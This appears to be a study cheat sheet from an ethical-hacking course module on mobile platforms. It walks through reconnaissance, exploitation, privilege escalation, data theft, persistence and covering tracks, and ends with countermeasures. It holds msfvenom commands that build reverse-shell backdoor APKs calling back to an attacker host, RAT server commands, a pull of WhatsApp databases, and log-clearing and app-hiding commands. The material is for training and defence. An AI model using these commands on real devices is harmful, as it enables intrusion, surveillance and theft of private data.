Module 17 – Hacking Mobile Platforms Cheat Sheet

# Mobile Hacking Methodology

## 1. Reconnaissance

* Identify target platform (Android/iOS), version, apps.
* Tools: PhoneSploit Pro, ADB (Android Debug Bridge), drozer, AppMon, Wireshark
* Commands:
* - adb devices
* - adb shell getprop ro.build.version.release
* - adb shell pm list packages
* - drozer console connect
* - wireshark (capture traffic on network interface)

## 2. Vulnerability Research

* Check OS bugs, insecure app permissions, misconfigurations.
* Tools: MobSF (Mobile Security Framework), QARK, Apktool, JADX
* Commands:
* - mobsf -m 127.0.0.1:8000
* - qark --apk target.apk
* - apktool d target.apk
* - jadx-gui target.apk

## 3. Exploitation

* Install malware via malicious APK/IPA, exploit permissions (camera/mic), bypass authentication, capture traffic.
* Tools: msfvenom, Metasploit, AndroRAT, SpyNote, Evil-Droid, Bettercap
* Commands:
* - msfvenom -p android/meterpreter/reverse\_tcp LHOST=<IP> LPORT=<PORT> -o payload.apk
* - use exploit/multi/handler (Metasploit)
* - python3 evil-droid.py
* - bettercap -iface wlan0

## 4. Privilege Escalation

* Gain root/jailbreak, exploit kernel flaws.
* Tools: Magisk, KingRoot, Dirty COW exploit (Linux kernel), Frida
* Commands:
* - frida -U -f com.target.app -l script.js --no-pause

## 5. Data Extraction

* Steal SMS, WhatsApp data, banking info.
* Tools: Andriller, WhatsApp Viewer, ADB, Oxygen Forensics
* Commands:
* - adb pull /sdcard/WhatsApp/Databases/msgstore.db
* - andriller -i backup.ab

## 6. Maintaining Access

* Backdoors, RATs (e.g., AndroRat, SpyNote).
* Tools: njRAT, DroidJack, msfvenom payloads
* Commands:
* - java -jar AndroRatServer.jar
* - msfvenom -p android/meterpreter/reverse\_https LHOST=<IP> LPORT=<PORT> -o backdoor.apk

## 7. Covering Tracks

* Hide malicious apps, clear logs.
* Tools: RootCloak, HideMyApp, logcat
* Commands:
* - adb logcat -c (clear logs)
* - pm hide com.malicious.app

# Countermeasures

* Keep OS and apps updated to patch known vulnerabilities.
* Use MDM (Mobile Device Management) solutions for enterprise security.
* Enforce app whitelisting and block unauthorized installations.
* Restrict developer options and USB debugging (disable ADB over TCP/5555).
* Use strong authentication (biometrics, MFA).
* Encrypt sensitive data and enforce VPN usage.
* Detect and block rooted/jailbroken devices.
* Monitor network traffic for anomalies using IDS/IPS.
* Educate users about malicious apps and phishing risks.